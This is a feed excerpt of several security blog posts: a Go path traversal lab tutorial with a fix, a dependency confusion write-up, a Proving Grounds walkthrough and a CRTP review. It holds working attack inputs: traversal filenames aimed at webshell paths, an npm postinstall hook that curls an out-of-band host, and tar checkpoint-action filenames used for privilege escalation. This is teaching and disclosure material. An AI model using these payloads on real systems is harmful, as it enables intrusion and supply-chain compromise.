            <content:encoded><![CDATA[<h3>Introduction</h3><p>Web application security is a critical skill for any developer or security professional. One of the most common yet often overlooked vulnerabilities is <strong>Path Traversal</strong> (also known as Directory Traversal). In this article, we will walk through a real-world example of a path traversal vulnerability in a Go web application, analyze it from a source code review perspective, and demonstrate how it can be exploited in a controlled lab environment.</p><p>This is a hands-on learning guide aimed at developers who want to understand how attackers think, and security researchers who are beginning their journey into web application penetration testing.</p><h3>What is Path Traversal?</h3><p>Path traversal is a vulnerability that allows an attacker to access files and directories outside the intended scope of an application. By manipulating file paths using sequences like ../, an attacker can potentially read sensitive files, overwrite system files, or in severe cases, achieve remote code execution.</p><p>According to OWASP, path traversal is classified under <strong>CWE-22</strong> and remains one of the most prevalent vulnerabilities in web applications today.</p><h3>The Vulnerable Code</h3><p>Let us start with the vulnerable Go code that we will be analyzing:</p><p>go</p><pre>func uploadFile(w http.ResponseWriter, r *http.Request) {<br>    file, header, err := r.FormFile(&quot;file&quot;)<br>    if err != nil {<br>        fmt.Println(&quot;Error Retrieving the File&quot;)<br>        return<br>    }<br>    defer file.Close()<br>    tempFile, err := ioutil.TempFile(&quot;/tmp&quot;, header.Filename)<br>    if err != nil {<br>        fmt.Println(err)<br>        return<br>    }<br>    fileBytes, err := ioutil.ReadAll(file)<br>    if err != nil {<br>        fmt.Println(err)<br>        return<br>    }<br>    tempFile.Write(fileBytes)<br>    defer tempFile.Close()<br>    fmt.Fprintf(w, &quot;Successfully Uploaded File\n&quot;)<br>}</pre><p>At first glance, this looks like a simple file upload handler. However, there is a critical security flaw hiding in plain sight.</p><h3>Source Code Review — Spotting the Bug</h3><p>When reviewing code for security vulnerabilities, the first thing to look for is <strong>user-controlled input flowing into sensitive functions</strong> without sanitization. Let us trace the data flow:</p><p><strong>Step 1 — User input enters the application:</strong></p><p>go</p><pre>file, header, err := r.FormFile(&quot;file&quot;)</pre><p>Here, header.Filename is entirely controlled by the attacker. Whatever filename they send in the multipart request, the application accepts it blindly.</p><p><strong>Step 2 — User input reaches a sensitive function:</strong></p><p>go</p><pre>ioutil.TempFile(&quot;/tmp&quot;, header.Filename)</pre><p>The header.Filename is passed directly as the prefix argument to ioutil.TempFile. In older versions of Go (below 1.17), this allowed the filename to contain path traversal sequences like ../../home/kali/evil, causing files to be written outside the intended /tmp directory.</p><p><strong>The golden rule of source code review:</strong></p><blockquote><em>Any user-controlled input that reaches a filesystem, database, or system call without sanitization is a potential vulnerability.</em></blockquote><h3>Setting Up the Lab</h3><p>We will set up this vulnerable application locally on Kali Linux to safely practice exploitation.</p><p><strong>Install Go:</strong></p><p>bash</p><pre>sudo apt update &amp;&amp; sudo apt install golang -y<br>go version</pre><p><strong>Create the project:</strong></p><p>bash</p><pre>mkdir ~/vulnlab &amp;&amp; cd ~/vulnlab<br>go mod init vulnupload<br>nano main.go</pre><p><strong>Full vulnerable application:</strong></p><p>go</p><pre>package main</pre><pre>import (<br>    &quot;fmt&quot;<br>    &quot;io&quot;<br>    &quot;net/http&quot;<br>    &quot;os&quot;<br>)</pre><pre>func uploadFile(w http.ResponseWriter, r *http.Request) {<br>    file, header, err := r.FormFile(&quot;file&quot;)<br>    if err != nil {<br>        http.Error(w, &quot;Error retrieving file&quot;, 400)<br>        return<br>    }<br>    defer file.Close()</pre><pre>    uploadDir := &quot;/tmp/uploads/&quot;<br>    os.MkdirAll(uploadDir, 0755)</pre><pre>    // VULNERABLE: No sanitization on filename<br>    savePath := uploadDir + header.Filename<br>    fmt.Println(&quot;[*] Saving to:&quot;, savePath)</pre><pre>    dst, err := os.Create(savePath)<br>    if err != nil {<br>        http.Error(w, err.Error(), 500)<br>        return<br>    }<br>    defer dst.Close()</pre><pre>    io.Copy(dst, file)<br>    fmt.Fprintf(w, &quot;Saved to: %s\n&quot;, savePath)<br>}</pre><pre>func main() {<br>    http.HandleFunc(&quot;/upload&quot;, uploadFile)<br>    fmt.Println(&quot;[*] Server running on http://localhost:9090&quot;)<br>    http.ListenAndServe(&quot;:9090&quot;, nil)<br>}</pre><p><strong>Run the server:</strong></p><pre>go run main.go</pre><h3>Intercepting Traffic with Burp Suite</h3><p>Before exploiting, we route our traffic through Burp Suite to inspect and manipulate requests.</p><p><strong>Configure Burp:</strong></p><ul><li>Open Burp Suite Community Edition</li><li>Go to Proxy → Options → Proxy Listeners</li><li>Confirm listener is running on 127.0.0.1:8080</li><li>Enable Proxy → Intercept → Intercept is on</li></ul><p><strong>Send a normal request through Burp:</strong></p><pre>echo &quot;hello&quot; &gt; /tmp/test.txt</pre><pre>curl -x <a href="http://127.0.0.1:8080/">http://127.0.0.1:8080</a> \<br>     -F &quot;file=@/tmp/test.txt&quot; \<br>     <a href="http://localhost:9090/upload">http://localhost:9090/upload</a></pre><p>You will see the request appear in Burp’s Intercept tab:</p><pre>POST /upload HTTP/1.1<br>Host: localhost:9090<br>Content-Type: multipart/form-data; boundary=----boundary</pre><pre>------boundary<br>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;test.txt&quot;<br>Content-Type: text/plain</pre><pre>hello<br>------boundary--</pre><p>Right-click the request and select <strong>Send to Repeater</strong>, then forward it.</p><h3>Exploitation</h3><p>Now the fun begins. In Burp Repeater, we modify the filename field to include path traversal sequences.</p><p><strong>Attempt 1 — One directory up:</strong></p><pre>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;../evil.txt</pre><pre>ls /tmp/<br># evil.txt should appear outside /tmp/uploads</pre><p><strong>Attempt 2 — Into home directory:</strong></p><pre>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;../../home/kali/pwned.txt&quot;</pre><pre>ls /home/kali/<br># pwned.txt should appear here</pre><p><strong>Attempt 3 — Deeper traversal:</strong></p><p>http</p><pre>Content-Disposition: form-data; name=&quot;file&quot;; filename=&quot;../../../var/www/html/shell.php&quot;</pre><p>If a web server is running, you could potentially write a webshell.</p><h3>Understanding the Path Resolution</h3><p>Here is how the traversal resolves step by step:</p><pre>Base path:   /tmp/uploads/<br>Filename:    ../../home/kali/pwned.txt</pre><pre>Resolution:<br>/tmp/uploads/<br>           ↑<br>           .. → /tmp/<br>           ↑<br>           .. → /<br>           ↓<br>           home/kali/pwned.txt</pre><pre>Final path: /home/kali/pwned.txt ✅</pre><h3>Why This is Dangerous in Real World</h3><p>In a real application running as root or a privileged user, this vulnerability could allow an attacker to:</p><ul><li>Overwrite /etc/crontab to establish persistence</li><li>Write SSH keys to /root/.ssh/authorized_keys for backdoor access</li><li>Overwrite application configuration files</li><li>Deploy webshells if a web server directory is writable</li></ul><h3>The Fix</h3><p>Here is how to properly remediate this vulnerability:</p><pre>import (<br>    &quot;path/filepath&quot;<br>    &quot;strings&quot;<br>    &quot;regexp&quot;<br>)</pre><pre>func uploadFile(w http.ResponseWriter, r *http.Request) {<br>    file, header, err := r.FormFile(&quot;file&quot;)<br>    if err != nil {<br>        http.Error(w, &quot;Error retrieving file&quot;, 400)<br>        return<br>    }<br>    defer file.Close()</pre><pre>    // FIX 1: Strip all directory components<br>    safeFilename := filepath.Base(header.Filename)</pre><pre>    // FIX 2: Allow only safe characters<br>    safeFilename = regexp.MustCompile(`[^a-zA-Z0-9._-]`).<br>        ReplaceAllString(safeFilename, &quot;_&quot;)</pre><pre>    uploadDir := &quot;/tmp/uploads/&quot;<br>    os.MkdirAll(uploadDir, 0755)<br>    savePath := filepath.Join(uploadDir, safeFilename)</pre><pre>    // FIX 3: Verify final path is inside intended directory<br>    if !strings.HasPrefix(savePath, uploadDir) {<br>        http.Error(w, &quot;Invalid file path&quot;, 400)<br>        return<br>    }</pre><pre>    dst, err := os.Create(savePath)<br>    if err != nil {<br>        http.Error(w, err.Error(), 500)<br>        return<br>    }<br>    defer dst.Close()</pre><pre>    io.Copy(dst, file)<br>    fmt.Fprintf(w, &quot;File uploaded successfully\n&quot;)<br>}</pre><p><strong>What each fix does:</strong></p><p>filepath.Base() strips everything except the final filename component, so ../../home/kali/evil.txt becomes just evil.txt.</p><p>regexp sanitization removes any character that is not alphanumeric, a dot, dash, or underscore.</p><p>strings.HasPrefix acts as a final safety net, ensuring the resolved path always stays within the intended upload directory.</p><h3>Key Takeaways</h3><p>Source code review is about tracing user input to sensitive functions. Any unsanitized input reaching os.Create, ioutil.TempFile, os.Open, or similar calls is a red flag. Always use filepath.Base and filepath.Join when constructing paths from user input. Defense in depth means applying multiple layers of validation, not just one. Practice in a controlled lab environment before attempting any real-world testing.</p><h3>Further Practice</h3><p>To continue building your skills, explore DVWA (Damn Vulnerable Web Application) for more vulnerability types, PentesterLab for structured web security exercises, HackTheBox and TryHackMe for realistic penetration testing scenarios, and the OWASP Testing Guide for professional methodology.</p><h3>Conclusion</h3><p>Path traversal vulnerabilities are deceptively simple yet potentially devastating. As this walkthrough demonstrates, a single line of unsanitized code can open the door to serious filesystem attacks. By learning to read code like an attacker and setting up local labs to test your findings, you build the muscle memory needed to catch these bugs before they reach production.</p><p>Security is not just about tools — it is about understanding how systems work and how they can be abused. Happy hacking, responsibly.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=692ae3c3a2d7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How I Discovered a Live Dependency Confusion Vulnerability in a GraphQL-Based Web Application]]></title>
            <link>https://sanaullahamankorai.medium.com/how-i-discovered-a-live-dependency-confusion-vulnerability-in-a-graphql-based-web-application-13cc3382e671?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/13cc3382e671</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[dependency-confusion]]></category>
            <category><![CDATA[supply-chain-security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Sat, 05 Jul 2025 17:38:20 GMT</pubDate>
            <atom:updated>2025-07-05T17:38:20.072Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*CxRt6imqxZd8fMQg.png" /></figure><p>In this write-up, I will walk you through how I discovered a live <strong>Dependency Confusion</strong> vulnerability using <strong>GraphQL introspection</strong> and validated the possibility of internal package resolution — all without revealing the target or module names for privacy and responsible disclosure.</p><h3>🧠 What is Dependency Confusion?</h3><p>Dependency Confusion (a.k.a. “substitution attack”) occurs when internal packages used by a company’s software are not published to a public registry (like npm), and an attacker publishes a higher-versioned package with the same name. If the build system pulls from the public registry first, the attacker’s code can get executed during CI/CD.</p><h3>🛰 Recon Phase: Introspection to the Rescue</h3><p>The GraphQL endpoint allowed <strong>introspection queries</strong>, revealing internal schema objects including the following field:</p><pre>query {<br>  targetQuery {<br>    node<br>    subdomain<br>    serverVersion<br>    commit<br>    packages<br>  }<br>}</pre><p>The response leaked internal package names such as:</p><pre>@company/target-module-search@2.3.4<br>@company/target-module-browse@3.1.2<br>...</pre><p>This confirmed the presence of <strong>private scoped packages</strong>, which are common in enterprise monorepos.</p><h3>🚨 Exploitation: Poisoning the Registry</h3><p>I picked one internal package that wasn’t found in the npm registry when queried:</p><pre>npm view @company/target-module-search<br># Result: 404 Not Found</pre><p>I then published a harmless PoC package using the same name but with a higher version:</p><pre>{<br>  &quot;name&quot;: &quot;@company/target-module-search&quot;,<br>  &quot;version&quot;: &quot;3.0.0&quot;,<br>  &quot;main&quot;: &quot;index.js&quot;,<br>  &quot;scripts&quot;: {<br>    &quot;postinstall&quot;: &quot;curl -H &#39;X-Author: Researcher&#39; https://&lt;OAST_URL&gt;&quot;<br>  }<br>}</pre><p>After publishing the package, I monitored an out-of-band interaction platform (oast.fun) to detect any beacons indicating the package was pulled.</p><h3>✅ Results</h3><p>A beacon was successfully received at the OAST listener when the internal build system resolved and executed the malicious package, confirming that:</p><ul><li>The injected postinstall script <strong>was executed</strong>, resulting in <strong>Remote Code Execution (RCE)</strong>.</li><li>The internal CI/CD system is vulnerable to <strong>dependency poisoning</strong> via public registries.</li><li>The private package was being pulled from the <strong>public npm registry</strong>, despite being internal.</li></ul><p>This demonstrates a <strong>fully weaponizable dependency confusion vulnerability</strong>, not just theoretical.</p><h3>🛡 Impact</h3><p>If this package were used internally, the attacker’s code could:</p><ul><li>Leak environment variables</li><li>Interact with internal systems</li><li>Compromise CI/CD secrets</li><li>Pivot deeper into internal networks</li></ul><h3>🔁 Mitigation</h3><ul><li><strong>Always scope private packages</strong> with an internal registry.</li><li>Configure .npmrc to prioritize private registry for all @targetcompany/* packages.</li><li>Use allow-lists in CI/CD to avoid unexpected packages.</li></ul><h3>🎯 Conclusion</h3><p>This was a practical, non-destructive demonstration of a <strong>live Dependency Confusion</strong> vector discovered via GraphQL introspection. Even without exploitation, responsibly disclosing this helps the vendor tighten their security posture.</p><p>💬 For those interested in bug bounty hunting or supply-chain threats — <strong>this vector is still underexplored</strong>. Keep hunting 👾</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=13cc3382e671" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Amaterasu]]></title>
            <link>https://sanaullahamankorai.medium.com/amaterasu-15f18dc55609?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/15f18dc55609</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[tjnulls-guide-pwk-oscp]]></category>
            <category><![CDATA[offensive-security]]></category>
            <category><![CDATA[provinggrounds]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Mon, 19 Aug 2024 23:10:27 GMT</pubDate>
            <atom:updated>2024-08-19T23:10:27.138Z</atom:updated>
            <content:encoded><![CDATA[<h3>PG-Play — Amaterasu</h3><p>192.168.235.249</p><h3>NMAP</h3><pre>Host is up (0.12s latency).<br>Not shown: 65450 filtered tcp ports (no-response), 81 closed tcp ports (conn-refused)<br>PORT      STATE SERVICE VERSION<br>**21/tcp    open  ftp     vsftpd 3.0.3**<br>| ftp-syst: <br>|   STAT: <br>| FTP server status:<br>|      Connected to 192.168.45.198<br>|      Logged in as ftp<br>|      TYPE: ASCII<br>|      No session bandwidth limit<br>|      Session timeout in seconds is 300<br>|      Control connection is plain text<br>|      Data connections will be plain text<br>|      At session startup, client count was 2<br>|      vsFTPd 3.0.3 - secure, fast, stable<br>|_End of status<br>| ftp-anon: Anonymous FTP login allowed (FTP code 230)<br>|_Can&#39;t get directory listing: TIMEOUT<br>**25022/tcp open  ssh     OpenSSH 8.6 (protocol 2.0)**<br>| ssh-hostkey: <br>|   256 68:c6:05:e8:dc:f2:9a:2a:78:9b:ee:a1:ae:f6:38:1a (ECDSA)<br>|_  256 e9:89:cc:c2:17:14:f3:bc:62:21:06:4a:5e:71:80:ce (ED25519)<br>**33414/tcp open  unknown**<br>| fingerprint-strings: <br>|   GetRequest: <br>|     HTTP/1.1 404 NOT FOUND<br>|     Server: Werkzeug/2.2.3 Python/3.9.13<br>|     Date: Mon, 19 Aug 2024 21:31:17 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 207<br>|     Connection: close<br>|     &lt;!doctype html&gt;<br>|     &lt;html lang=en&gt;<br>|     &lt;title&gt;404 Not Found&lt;/title&gt;<br>|     &lt;h1&gt;Not Found&lt;/h1&gt;<br>|     &lt;p&gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&lt;/p&gt;<br>|   HTTPOptions: <br>|     HTTP/1.1 404 NOT FOUND<br>|     Server: Werkzeug/2.2.3 Python/3.9.13<br>|     Date: Mon, 19 Aug 2024 21:31:18 GMT<br>|     Content-Type: text/html; charset=utf-8<br>|     Content-Length: 207<br>|     Connection: close<br>|     &lt;!doctype html&gt;<br>|     &lt;html lang=en&gt;<br>|     &lt;title&gt;404 Not Found&lt;/title&gt;<br>|     &lt;h1&gt;Not Found&lt;/h1&gt;<br>|     &lt;p&gt;The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.&lt;/p&gt;<br>|   Help: <br>|     &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;<br>|     &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;<br>|     &lt;title&gt;Error response&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;h1&gt;Error response&lt;/h1&gt;<br>|     &lt;p&gt;Error code: 400&lt;/p&gt;<br>|     &lt;p&gt;Message: Bad request syntax (&#39;HELP&#39;).&lt;/p&gt;<br>|     &lt;p&gt;Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.&lt;/p&gt;<br>|     &lt;/body&gt;<br>|     &lt;/html&gt;<br>|   RTSPRequest: <br>|     &lt;!DOCTYPE HTML PUBLIC &quot;-//W3C//DTD HTML 4.01//EN&quot;<br>|     &quot;http://www.w3.org/TR/html4/strict.dtd&quot;&gt;<br>|     &lt;html&gt;<br>|     &lt;head&gt;<br>|     &lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html;charset=utf-8&quot;&gt;<br>|     &lt;title&gt;Error response&lt;/title&gt;<br>|     &lt;/head&gt;<br>|     &lt;body&gt;<br>|     &lt;h1&gt;Error response&lt;/h1&gt;<br>|     &lt;p&gt;Error code: 400&lt;/p&gt;<br>|     &lt;p&gt;Message: Bad request version (&#39;RTSP/1.0&#39;).&lt;/p&gt;<br>|     &lt;p&gt;Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.&lt;/p&gt;<br>|     &lt;/body&gt;<br>|_    &lt;/html&gt;<br>**40080/tcp open  http    Apache httpd 2.4.53 ((Fedora))**<br>|_http-title: My test page<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-server-header: Apache/2.4.53 (Fedora)<br><br>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .<br>Nmap done: 1 IP address (1 host up) scanned in 487.96 seconds</pre><p>There are four ports open 21 FTP, 25022 SSH, 33414 and 40080 Web ports.</p><h3>Port 33414</h3><p>Initially it throws an 404 error not found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/877/1*Iwigrr1nh1L682Tzo2oZhA.png" /></figure><p>Fuzzing for files and directories using gobuster</p><pre>gobuster dir -u &#39;http://192.168.235.249:33414&#39; -w /usr/share/wordlists/dirb/common.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*mJMWroOVzntmGvrQMavMRg.png" /></figure><p>Found two directories /help and /info</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*52HwE4N-CAZqI5Ws1gfpVg.png" /></figure><p>On /help it has multiple directories. Two of my interest are /file-list?dir=/tmp and /file-upload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/915/1*XpXa2kZNdfQhbC9sCqEdGg.png" /></figure><p>By visiting /info we can see that it&#39;s and Python File Server REST API v2.5 and mark the name which might be useful in next phases Alfredo Moroder</p><p>By visiting /file-list?dir=/tmp we can observe that there is an path traversal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*gKdh813MYX_nk16NaidTbg.png" /></figure><p>By visiting /.ssh/id_rsa the server throws an Internal server error, Means we have reached the dead end. So I decided to move towards /file-upload to see if I can upload files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*StYQIyw--tJEmHQm97UKqQ.png" /></figure><pre>Commands used to upload the file to the server.</pre><pre>touch test.txt<br><br>echo &quot;File Uploaded&quot; &gt;&gt; test.txt<br><br>curl -i -L -X POST -H &quot;Content-Type: multipart/form-data&quot; -F file=&quot;@/home/M4rv3L/PG-Play/Amaterasu/test.txt&quot; -F filename=&quot;/tmp/test.txt&quot; <a href="http://$ip:33414/file-upload">http://$IP:33414/file-upload</a></pre><p>The file got uploaded.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*KTrtK7Z7v0EqeUEYsV3w0A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*Zi1FkZQiX0DRprLSxIgtFA.png" /></figure><p>Now that I know this, I can try to upload files to this directory. I created an id_rsa key for this machine using ssh-keygen. I specified that I wanted it to be saved in the current directory under name the name &quot;id_rsa&quot; by entering ./id_rsa when prompted. I also specified no passphrase. Once this was done, I ensured that the files were in my current directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*1JHMZMtGUo-j7NimmvnbTQ.png" /></figure><p>Now I observed that there some sort whitelisting done on the server. It only allows Allowed file types are txt, pdf, png, jpg, jpeg, gif So I changed the file type to .txt and tried to upload it again.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/912/1*U4rBftRz_naP4E2UjG--aA.png" /></figure><p>Now I tried to login in to the machine through ssh</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/852/1*FxAqAGAe5UDSBKrw15kuRg.png" /></figure><p>We are in. After getting initial access let’s move to PE.</p><p>After checking sudo, SUIDs, SGIDs, and capabilities and finding nothing, I checked “/etc/crontab” using cat /etc/crontab. There is a script run every single minute. I checked the permissions and it is not changeable by the current user. I read this file and it seems to take everything in &quot;/home/alfredo.restapi&quot; and save it as &quot;/tmp/flask.tar.gz&quot;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/911/1*FQ6eQQw1e4O7IIaofA7NwQ.png" /></figure><p>Seeing as this is using tar with a wildcard, I have a feeling that this is vulnerable. After some research, I came across this link that told me exactly how I would need to exploit this: <a href="https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa">https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*TCNMXWuEB3jwWD0ev9kiGg.png" /></figure><p>I understood what this article was trying to get across. Since there is a wildcard when executing the tar command, it means that it is vulnerable to a filename acting as a switch to the tar command. This can be abused to execute a custom script that will allow for us to gain sudoers permission. Here are the commands I ran:</p><ul><li>Go to the directory -&gt; cd ~/restapi</li><li>Create file #1: echo &quot;&quot; &gt; &#39;--checkpoint=1&#39;</li><li>Create file #2: echo &quot;&quot; &gt; &#39;--checkpoint-action=exec=sh exploit.sh&#39;</li><li>Create exploit.sh (see the below image for how I set it up)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*vbx1jrIQHMXeHqhm8AsD0w.png" /></figure><p>Now submit the flag and box is completed.</p><h3>Main Takeaway Concepts</h3><h4>ENUMERATION IS KEY!</h4><p>Enumeration is always super important for everything — from figuring out where to go on websites to even helping gain more information when you are already on the target. The “/help” was found due to the enumeration that was performed. This allowed me to gain a foothold on the machine through a found id_rsa key from directory traversal that I had performed.</p><h4>WHEN IN DOUBT, SEARCH IT OUT!</h4><p>I did not know exactly where to go once I was on the machine, but I decided to check my common attack vectors to see if anything was vulnerable. Once I noticed the item in crontab, I was unsure if it was vulnerable so I decided to search it up. From my searching, I was able to find out how I could exploit it and then was able to get my root shell.</p><h3>References</h3><p><a href="https://medium.com/@polygonben/linux-privilege-escalation-wildcards-with-tar-f79ab9e407fa">Linux Privilege Escalation: Wildcards with tar</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=15f18dc55609" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[CRTP — Certified Red Team Professional Review]]></title>
            <link>https://sanaullahamankorai.medium.com/crtp-certified-red-team-professional-review-c3a575cf38fa?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/c3a575cf38fa</guid>
            <category><![CDATA[red-team]]></category>
            <category><![CDATA[pentester-academy]]></category>
            <category><![CDATA[crtp-exam]]></category>
            <category><![CDATA[altered-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Thu, 28 Dec 2023 08:31:31 GMT</pubDate>
            <atom:updated>2023-12-28T08:31:31.697Z</atom:updated>
            <content:encoded><![CDATA[<h3>CRTP — Certified Red Team Professional Review</h3><h3>Introduction:</h3><p>Greetings, Cyber enthusiasts! Sanaullah Korai, a Cybersecurity Consultant at Rewterz, here to share my firsthand experience with the Certified Red Team Professional (CRTP) certification. In this detailed timeline review, I’ll walk you through the course structure, lab access, exam challenges, and valuable tips for success.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/0*rg8hS7P0GClS7JMP.png" /></figure><h3>Before CRTP:</h3><p>Before diving into the CRTP certification, I opted for the on-demand version of the course, which included 30 days of lab access for a reasonable $249. The course, an integral part of the Attacking and Defending Active Directory Lab by Altered Security, promised a fully hands-on experience. After purchasing, I recommend taking the time to complete the course first before delving into the lab.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/778/0*y_wUQm-8YTgMBfgQ.png" /></figure><h3>Course Material:</h3><p>The course, divided into four videos, each spanning 3 to 4 hours, is instructed by Nikhil Mittal, the founder of Altered Security. Nikhil’s teaching style is beginner-friendly, making it accessible to individuals regardless of their familiarity with Active Directory or PowerShell. The course covers critical topics such as domain enumeration, local and domain privilege escalation, lateral movement, and defense strategies.</p><h3>Lab Experience:</h3><p>The heart of the CRTP lies in its lab environment. Accessible via VPN or browser, the lab is a fully patched Windows infrastructure with multiple domains and forests. With 30 days of access, the lab proved to be a valuable resource. All required tools are pre-installed, and the environment offers 40 flags to discover. I emphasize the importance of spending ample time in the lab, not just for exam preparation but for truly understanding the nuances of exploiting an Active Directory environment.</p><h3>CRTP Exam:</h3><p>The exam is the culmination of the skills acquired during the course and lab sessions. With a 24-hour window, candidates aim to achieve OS command execution on all target servers without relying on administrative privileges or patchable exploits. The exam environment mirrors the lab setup, providing a seamless transition.</p><h3>Exam Day (Sunday, 10:00 AM):</h3><blockquote>- Local privilege escalation was straightforward.<br>- Initial hiccups gaining shell on the first machine but overcome with thoughtful consideration.<br>- OS command execution achieved on three servers within two hours.<br>Stuck on the fourth server, realized the importance of proper enumeration.<br>- Compromised all five machines in around four hours with screenshots and draft report.<br>- Took a break, went for dinner, and a walk.<br>- Report included detailed descriptions, access gained, steps to reproduce, PoCs, remediation, and references for all vulnerabilities.<br>- Submitted the report around 11:00 PM (Sunday).</blockquote><h3>CRTP Certificate:</h3><p>Successfully completing the exam resulted in the well-deserved CRTP certificate.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/990/1*bGC3Qg7G14aWJfAOSX3tOw.png" /></figure><h3><strong>Tips for Success:</strong></h3><p>1. Go through the course at your own pace; make notes on all covered topics.<br>2. Understand all commands used in the lab manual.<br>3. Create a cheatsheet with commands used during the practice lab.<br>4. Stay calm and focus on enumeration.</p><h3><strong>Conclusion:</strong></h3><p>The CRTP certification, coupled with the Attacking &amp; Defending Active Directory Lab, offers an affordable and invaluable learning experience. Highly recommended for anyone venturing into Active Directory exploitation. Kudos to Nikhil and the team for providing a top-notch course.</p><p>If you’ve stuck around until now, thank you for reading! Have a fantastic day!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c3a575cf38fa" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uncovering Security Vulnerabilities: A Deep Dive into an Eye-Opening Git Discovery]]></title>
            <link>https://sanaullahamankorai.medium.com/uncovering-security-vulnerabilities-a-deep-dive-into-an-eye-opening-git-discovery-2558ebbc544e?source=rss-6bfe7d35204------2</link>
            <guid isPermaLink="false">https://medium.com/p/2558ebbc544e</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-bounty-tips]]></category>
            <category><![CDATA[sharing]]></category>
            <dc:creator><![CDATA[Sanaullah Aman Korai]]></dc:creator>
            <pubDate>Mon, 09 Oct 2023 16:05:53 GMT</pubDate>
            <atom:updated>2023-10-09T16:05:53.942Z</atom:updated>
            <content:encoded><![CDATA[<h4>Introduction</h4><p>In the ever-evolving world of cybersecurity, staying one step ahead of potential threats is crucial. Recently, I stumbled upon a fascinating yet alarming discovery while conducting a routine web security assessment: an exposed .git directory for a hypothetical example.com company. This seemingly innocuous oversight led me down a rabbit hole, ultimately uncovering SQL injection vulnerabilities and hardcoded credentials within their source code. In this article, I will walk you through my journey, sharing valuable insights and lessons learned along the way.</p><p><strong>Screenshot 1: The Exposed .git Directory</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3fSj8X1x58D2A7SMWk3Tw.png" /></figure><h3>Uncovering the .git Directory</h3><p>My journey began when I was scanning example.com’s website for common security issues. To my surprise, I discovered an exposed .git directory, which contained a treasure trove of valuable information. Git is a version control system that tracks changes in source code, and its .git directory typically stores a project’s entire history. When exposed, it can potentially reveal sensitive data, including source code and configuration files.</p><p><strong>Screenshot 2: The Contents of the .git Directory</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*j3fSj8X1x58D2A7SMWk3Tw.png" /></figure><p><strong>Retrieving the Source Code</strong></p><p>To retrieve the source code from the exposed .git directory, I used a tool called “git-dumper.” This tool allows you to clone a Git repository even when the .git directory is publicly accessible. By running git-dumper, I was able to obtain the company’s source code, which is usually kept private and hidden from public view.</p><p><strong>Screenshot 3: Using git-dumper to Retrieve Source Code</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/803/1*O2BmSV45OtDsxKhHPCJpJg.png" /></figure><figure><img alt="" 